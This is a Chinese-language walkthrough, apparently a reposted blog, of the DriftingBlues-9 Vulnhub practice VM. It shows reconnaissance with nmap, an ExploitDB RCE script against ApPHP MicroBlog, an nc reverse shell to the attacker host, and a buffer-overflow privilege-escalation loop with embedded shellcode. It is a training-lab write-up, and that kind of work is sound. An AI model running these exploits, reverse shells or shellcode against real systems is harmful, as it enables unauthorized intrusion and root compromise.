当前位置:网站首页>看完这篇 教你玩转渗透测试靶机Vulnhub——DriftingBlues-9
看完这篇 教你玩转渗透测试靶机Vulnhub——DriftingBlues-9
2022-07-03 01:01:00 【落寞的魚丶】
Vulnhub靶机DriftingBlues-9渗透测试详解
Vulnhub靶机介绍:
vulnhub是个提供各种漏洞平台的综合靶场,可供下载多种虚拟机进行下载,本地VM打开即可,像做游戏一样去完成渗透测试、提权、漏洞利用、代码审计等等有趣的实战。
这期更新一下Vulnhub DriftingBlues 系列 还是老样子找到FLAG即可,可能比较偏向CTF点。
Vulnhub靶机下载:
官网地址:https://www.vulnhub.com/entry/driftingblues-9-final,695/

下载好了把安装包解压 然后试用VMware即可。
Vulnhub靶机漏洞详解:
①:信息收集:
kali里使用netdiscover发现主机
渗透机:kali IP :192.168.205.133 靶机IP :192.168.205.145
使用命令:
nmap -sS -A -T4 -n 192.168.205.145

开启了80端口和111端口 老样子先访问80端口 直接查看源代码 发现了ApPHP MicroBlog 版本 为 v.1.0.1(第一次遇到)

②:漏洞利用:
使用searchsploit 搜索相关漏洞 第二个就可以利用

使用命令将利用的脚本复制到本地:searchsploit -m php/webapps/33070.py
使用python2 执行脚本:python2 ./33070.py http://192.168.205.145
发现了数据库信息 里面有账号和密码 分别是:clapton/yaraklitepe
使用命令:ls /home 发现和数据用户一样 也可以 cat /etc/passwd查看是否有nc: whish nc


③:反弹shell:
在 kali 开启 nc 监听:nc -lvp 6666
在shell 执行:nc 192.168.205.133 6666 -e /bin/bash
使用命令交互shell:python -c 'import pty;pty.spawn("/bin/bash")'

尝试切换用户 :clapton / yaraklitepe获取到了第一个flag

④:缓冲区溢出提权:
这里给的提示 缓冲区才是解决方法(什么缓冲区!!!第一次遇到不会pwn)
for i in {
1..10000}; do (./input $(python -c 'print("A" * 171 + "\x10\x0c\x97\xbf" + "\x90"* 1000 + "\x31\xc9\xf7\xe1\x51\xbf\xd0\xd0\x8c\x97\xbe\xd0\x9d\x96\x91\xf7\xd7\xf7\xd6\x57\x56\x89\xe3\xb0\x0b\xcd\x80")')); done
具体参考:https://www.ngui.cc/article/show-373956.html
https://blog.csdn.net/qq_32261191/article/details/117908644
⑤:获取flag:

至此获取到了所有得flag,渗透测试结束。
Vulnhub靶机渗透总结:
①:searchsploit 工具的用法
②:RCE 漏洞利用
③:缓冲区溢出提权(因为没基础所以还不怎么会 后续在学)
这也是DriftingBlues系列最后一个靶机的学习啦,希望大家也可以学习到新的一些知识点和一些渗透测试思路
最后创作不易 希望对大家有所帮助!!
边栏推荐
- Explain the basic concepts and five attributes of RDD in detail
- 拥抱平台化交付的安全理念
- 2022.2.14 resumption
- Specified interval inversion in the linked list
- 【C语言】指针与数组笔试题详解
- leetcode:871. Minimum refueling times [Pat has done before + maximum stacking + greed]
- 1038 Recover the Smallest Number
- JDBC courses
- 【我的OpenGL学习进阶之旅】关于欧拉角、旋转顺序、旋转矩阵、四元数等知识的整理
- 看疫情之下服装企业如何顺势而为
猜你喜欢

JS inheritance and prototype chain

Detailed explanation of Q-learning examples of reinforcement learning

Explain the basic concepts and five attributes of RDD in detail

Basic concept and implementation of overcoming hash

Arduino DY-SV17F自动语音播报

leetcode:701. 二叉搜索树中的插入操作【bst的插入】

每日一题之干草堆的移动

Data analysis, thinking, law breaking and professional knowledge -- analysis method (I)

Excel if formula determines whether the two columns are the same

Matlab saves the digital matrix as geospatial data, and the display subscript index must be of positive integer type or logical type. Solve the problem
随机推荐
2022 Jiangxi Provincial Safety Officer B certificate reexamination examination and Jiangxi Provincial Safety Officer B certificate simulation examination question bank
攻克哈希的基本概念与实现
MySQL basic usage 02
Excel if formula determines whether the two columns are the same
关于Fibonacci数列
Esp32 simple speed message test of ros2 (limit frequency)
Database SQL language 01 where condition
Every k nodes in the linked list are flipped
Arduino dy-sv17f automatic voice broadcast
[system analyst's road] Chapter V double disk software engineering (development model development method)
按键精灵打怪学习-多线程后台坐标识别
按键精灵打怪学习-自动回城路线的判断
R language ggplot2 visual faceting, visual facet_wrap bar plot, using strip Text function customize the size of the strip of each facet title in the facet graph (cutimi
Linear programming of mathematical modeling (including Matlab code)
按键精灵打怪学习-回城买药加血
Matlab saves the digital matrix as geospatial data, and the display subscript index must be of positive integer type or logical type. Solve the problem
R language uses coin package to apply permutation tests to independence problems (permutation tests, whether response variables are independent of groups, are two numerical variables independent, and
【无标题】
Swiftui component Encyclopedia: using scenekit and swiftui to build interactive 3D pie charts (tutorial with source code)
[untitled]